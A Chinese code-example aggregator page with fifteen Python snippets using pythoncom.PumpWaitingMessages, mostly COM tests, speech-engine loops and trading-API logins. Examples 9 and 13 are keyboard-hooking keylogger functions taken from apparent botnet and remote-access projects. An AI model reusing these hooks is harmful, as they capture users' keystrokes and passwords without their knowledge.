當前位置: 首頁>>代碼示例>>Python>>正文


Python pythoncom.PumpWaitingMessages方法代碼示例

本文整理匯總了Python中pythoncom.PumpWaitingMessages方法的典型用法代碼示例。如果您正苦於以下問題:Python pythoncom.PumpWaitingMessages方法的具體用法?Python pythoncom.PumpWaitingMessages怎麽用?Python pythoncom.PumpWaitingMessages使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在pythoncom的用法示例。


在下文中一共展示了pythoncom.PumpWaitingMessages方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: WaitWhileProcessingMessages

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def WaitWhileProcessingMessages(event, timeout = 2):
    start = time.clock()
    while True:
        # Wake 4 times a second - we can't just specify the
        # full timeout here, as then it would reset for every
        # message we process.
        rc = win32event.MsgWaitForMultipleObjects( (event,), 0,
                                250,
                                win32event.QS_ALLEVENTS)
        if rc == win32event.WAIT_OBJECT_0:
            # event signalled - stop now!
            return True
        if (time.clock() - start) > timeout:
            # Timeout expired.
            return False
        # must be a message.
        pythoncom.PumpWaitingMessages() 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:19,代碼來源:eventsApartmentThreaded.py

示例2: test

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def test(fn):
    print "The main thread is %d" % (win32api.GetCurrentThreadId())
    GIT    = CreateGIT()
    interp = win32com.client.Dispatch("Python.Interpreter")
    cookie = GIT.RegisterInterfaceInGlobal(interp._oleobj_, pythoncom.IID_IDispatch)
    
    events = fn(4, cookie)
    numFinished = 0
    while 1:
        try:
            rc = win32event.MsgWaitForMultipleObjects(events, 0, 2000, win32event.QS_ALLINPUT)
            if rc >= win32event.WAIT_OBJECT_0 and rc < win32event.WAIT_OBJECT_0+len(events):
                numFinished = numFinished + 1
                if numFinished >= len(events):
                    break
            elif rc==win32event.WAIT_OBJECT_0 + len(events): # a message
                # This is critical - whole apartment model demo will hang.
                pythoncom.PumpWaitingMessages()
            else: # Timeout
                print "Waiting for thread to stop with interfaces=%d, gateways=%d" % (pythoncom._GetInterfaceCount(), pythoncom._GetGatewayCount())
        except KeyboardInterrupt:
            break
    GIT.RevokeInterfaceFromGlobal(cookie)
    del interp
    del GIT 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:27,代碼來源:testGIT.py

示例3: TestConnection

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def TestConnection(dbname):
    # Create the ADO connection object, and link the event
    # handlers into it
    c = DispatchWithEvents("ADODB.Connection", ADOEvents)

    # Initiate the asynchronous open
    dsn = "Driver={Microsoft Access Driver (*.mdb)};Dbq=%s" % dbname
    user = "system"
    pw = "manager"
    c.Open(dsn, user, pw, constants.adAsyncConnect)

    # Sit in a loop, until our event handler (above) sets the
    # "finished" flag or we time out.
    end_time = time.clock() + 10
    while time.clock() < end_time:
        # Pump messages so that COM gets a look in
        pythoncom.PumpWaitingMessages()
    if not finished:
        print "XXX - Failed to connect!" 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:21,代碼來源:testADOEvents.py

示例4: _WaitForFinish

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def _WaitForFinish(ob, timeout):
    end = time.time() + timeout
    while 1:
        if msvcrt.kbhit():
            msvcrt.getch()
            break
        pythoncom.PumpWaitingMessages()
        stopEvent.wait(.2)
        if stopEvent.isSet():
            stopEvent.clear()
            break
        try:
            if not ob.Visible:
                # Gone invisible - we need to pretend we timed
                # out, so the app is quit.
                return 0
        except pythoncom.com_error:
            # Excel is busy (eg, editing the cell) - ignore
            pass
        if time.time() > end:
            return 0
    return 1 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:24,代碼來源:testMSOfficeEvents.py

示例5: main

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def main():
    logging.basicConfig(level=logging.INFO)

    try:
        path = os.path.dirname(__file__)
    except NameError:
        # The "__file__" name is not always available, for example
        #  when this module is run from PythonWin.  In this case we
        #  simply use the current working directory.
        path = os.getcwd()
        __file__ = os.path.join(path, "dfly-loader-wsr.py")

    engine = Sapi5InProcEngine()
    engine.connect()

    directory = CommandModuleDirectory(path, excludes=[__file__])
    directory.load()

    engine.speak('beginning loop!')
    while 1:
        pythoncom.PumpWaitingMessages()
        time.sleep(.1) 
開發者ID:t4ngo,項目名稱:dragonfly,代碼行數:24,代碼來源:dfly-loader-wsr.py

示例6: on_event

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def on_event(self, evt, is_final):
        """ this is invoked from in response to COM PumpWaitingMessages - different thread """
        response = self.response
        for msg in XmlHelper.message_iter(evt):
            bars = msg.GetElement('barData').GetElement('barTickData')
            for i in range(bars.NumValues):
                bar = bars.GetValue(i)
                ts = bar.GetElement(0).Value
                response['time'].append(datetime(ts.year, ts.month, ts.day, ts.hour, ts.minute))
                response['open'].append(bar.GetElement(1).Value)
                response['high'].append(bar.GetElement(2).Value)
                response['low'].append(bar.GetElement(3).Value)
                response['close'].append(bar.GetElement(4).Value)
                response['volume'].append(bar.GetElement(5).Value)
                response['events'].append(bar.GetElement(6).Value)

        if is_final:
            idx = response.pop('time')
            self.response = DataFrame(response, columns=['open', 'high', 'low', 'close', 'volume', 'events'], index=idx) 
開發者ID:bpsmith,項目名稱:tia,代碼行數:21,代碼來源:bbg_com.py

示例7: execute_request

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def execute_request(cls, request):
        session = DispatchWithEvents('blpapicom.ProviderSession.1', ResponseHandler)
        session.Start()
        try:
            svcname = request.get_bbg_service_name()
            if not session.OpenService(svcname):
                raise Exception('failed to open service %s' % svcname)

            svc = session.GetService(svcname)
            asbbg = request.get_bbg_request(svc, session)
            session.SendRequest(asbbg)
            session.do_init(request)
            while session.waiting:
                PumpWaitingMessages()
            session.has_deferred_exception and session.raise_deferred_exception()
            request.has_exception and request.raise_exception()
            return request
        finally:
            session.Stop()
            session.do_cleanup() 
開發者ID:bpsmith,項目名稱:tia,代碼行數:22,代碼來源:bbg_com.py

示例8: _DoTestMarshal

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def _DoTestMarshal(self, fn, bCoWait = 0):
        #print "The main thread is %d" % (win32api.GetCurrentThreadId())
        threads, events = fn(2)
        numFinished = 0
        while 1:
            try:
                if bCoWait:
                    rc = pythoncom.CoWaitForMultipleHandles(0, 2000, events)
                else:
                    # Specifying "bWaitAll" here will wait for messages *and* all events
                    # (which is pretty useless)
                    rc = win32event.MsgWaitForMultipleObjects(events, 0, 2000, win32event.QS_ALLINPUT)
                if rc >= win32event.WAIT_OBJECT_0 and rc < win32event.WAIT_OBJECT_0+len(events):
                    numFinished = numFinished + 1
                    if numFinished >= len(events):
                        break
                elif rc==win32event.WAIT_OBJECT_0 + len(events): # a message
                    # This is critical - whole apartment model demo will hang.
                    pythoncom.PumpWaitingMessages()
                else: # Timeout
                    print "Waiting for thread to stop with interfaces=%d, gateways=%d" % (pythoncom._GetInterfaceCount(), pythoncom._GetGatewayCount())
            except KeyboardInterrupt:
                break
        for t in threads:
            t.join(2)
            self.failIf(t.isAlive(), "thread failed to stop!?")
        threads = None # threads hold references to args
        # Seems to be a leak here I can't locate :(
        #self.failUnlessEqual(pythoncom._GetInterfaceCount(), 0)
        #self.failUnlessEqual(pythoncom._GetGatewayCount(), 0) 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:32,代碼來源:testMarshal.py

示例9: keylogger

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys 
開發者ID:jpdias,項目名稱:botnet-lab,代碼行數:32,代碼來源:keylogger.py

示例10: startLoop

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def startLoop(self):
        first = True
        self._looping = True
        while self._looping:
            if first:
                self._proxy.setBusy(False)
                first = False
            pythoncom.PumpWaitingMessages()
            time.sleep(0.05) 
開發者ID:nateshmbhat,項目名稱:pyttsx3,代碼行數:11,代碼來源:sapi5.py

示例11: iterate

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def iterate(self):
        self._proxy.setBusy(False)
        while 1:
            pythoncom.PumpWaitingMessages()
            yield 
開發者ID:nateshmbhat,項目名稱:pyttsx3,代碼行數:7,代碼來源:sapi5.py

示例12: run

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def run(self):
        """실시간 TR을 모니터링 한다
            ::
                real.run()
        """
        while self.running:
            pythoncom.PumpWaitingMessages()
            # print("[%d] Thread is alive ? : %s" % (self.ident, self.is_alive()))
            time.sleep(0.1) 
開發者ID:sculove,項目名稱:xing-plus,代碼行數:11,代碼來源:xareal.py

示例13: keystrokes

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def keystrokes(self):
  hm = pyHook.HookManager()
  hm.KeyDown = self.pressed
  self.keylog = True
  hm.HookKeyboard()  
  while self.keylog:
   try:pythoncom.PumpWaitingMessages()
   except:pass
  else:hm.UnhookKeyboard() 
開發者ID:Pure-L0G1C,項目名稱:FleX,代碼行數:11,代碼來源:keylogger.py

示例14: _do_recognition

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def _do_recognition(self):
        """
            Recognize speech in a loop.

            This will also call any scheduled timer functions and ensure that
            the correct window context is used.

        """

        # Register for window change events to activate/deactivate grammars
        # and rules on window changes. This is done here because the SAPI5
        # 'OnPhraseStart' grammar callback is called after grammar state
        # changes are allowed.
        WinEventProcType = WINFUNCTYPE(None, HANDLE, DWORD, HWND, LONG,
                                       LONG, DWORD, DWORD)

        self._last_foreground_window = None

        def callback(hWinEventHook, event, hwnd, idObject, idChild,
                     dwEventThread, dwmsEventTime):
            window = Window.get_foreground()
            # Note: hwnd doesn't always match window.handle, even when
            # foreground window changed (and sometimes it didn't change)
            if window != self._last_foreground_window:
                self.process_grammars_context(window)
                self._last_foreground_window = window

        def set_hook(win_event_proc, event_type):
            return windll.user32.SetWinEventHook(
                event_type, event_type, 0, win_event_proc, 0, 0,
                win32con.WINEVENT_OUTOFCONTEXT)

        win_event_proc = WinEventProcType(callback)
        windll.user32.SetWinEventHook.restype = HANDLE

        [set_hook(win_event_proc, et) for et in
         {win32con.EVENT_SYSTEM_FOREGROUND,
          win32con.EVENT_OBJECT_NAMECHANGE, }]

        # Recognize speech, call timer functions and handle window change
        # events in a loop. Stop on disconnect().
        self.speak('beginning loop!')
        while self._recognizer is not None:
            pythoncom.PumpWaitingMessages()
            self.call_timer_callback()
            time.sleep(0.005)

#---------------------------------------------------------------------------
# Make the shared engine available as Sapi5Engine, for backwards
#  compatibility. 
開發者ID:dictation-toolbox,項目名稱:dragonfly,代碼行數:52,代碼來源:engine.py

示例15: login

# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpWaitingMessages [as 別名]
def login(self, *argv):
        """서버 연결을 요청한다

            :type argv: list
            :param argv: 설정 파일(argv가 1개일 경우, str 타입) 또는 서버, 사용자 정보 (argv가 2개인 경우, object)

            :param configfile: 설정 파일
            :type configfile: bool
            :param server: 서버 정보
            :type server: object {address:"서버주소", port:서버포트, type: 서버타입}
            :param user: 사용자 정보
            :type user: object {id:"아이디", passwd:"비밀번호", account_passwd:"계좌비밀번호", certificate_passwd:"공인인증서비밀번호"}
            :return: 로그인이 성공하면 True, 실패하면 Fasle
            :rtype: bool

            ::

                session = Session()
                # 설정 파일을 읽어 로그인 하는 경우
                session.login("config.conf")

                # 서버와 사용자 정보를 입력하여, 로그인 하는 경우
                server = {
                    "address" :"hts.ebestsec.co.kr",    # 서버주소
                    "port" : 20001, # 서버포트
                    "type" : 0  # 서버 타입
                }
                user = {
                    "id" : "sculove",   # 아이디
                    "passwd" : "12345678",  # 비밀번호
                    "account_passwd" : "1234",  # 계좌 비밀번호
                    "certificate_passwd" : "12345678"   # 공인인증서 비밀번호
                }
                session.login(server, user)
        """
        argvCount = len(argv)
        if argvCount == 1:
            rst = self.load(argv[0])
            server = rst["server"]
            user = rst["user"]
        elif argvCount >= 2:
            server = argv[0]
            user = argv[1]

        if not user["id"] or not user["passwd"]:
            log.critical("로그인 실패 : 서버와 사용자 정보를 입력해주세요")
            return False

        self.session.reset()
        self.session.ConnectServer(server["address"], server["port"])
        self.session.Login(user["id"], user["passwd"], user["certificate_passwd"], server["type"], 0)
        while self.session.code == -1:
            pythoncom.PumpWaitingMessages()
            time.sleep(0.1)

        if self.session.code == "0000":
            log.info("로그인 성공")
            return True
        else:
            log.critical("로그인 실패 : %s" % xacom.parseErrorCode(self.session.code))
            return False 
開發者ID:sculove,項目名稱:xing-plus,代碼行數:63,代碼來源:xasession.py


注:本文中的pythoncom.PumpWaitingMessages方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。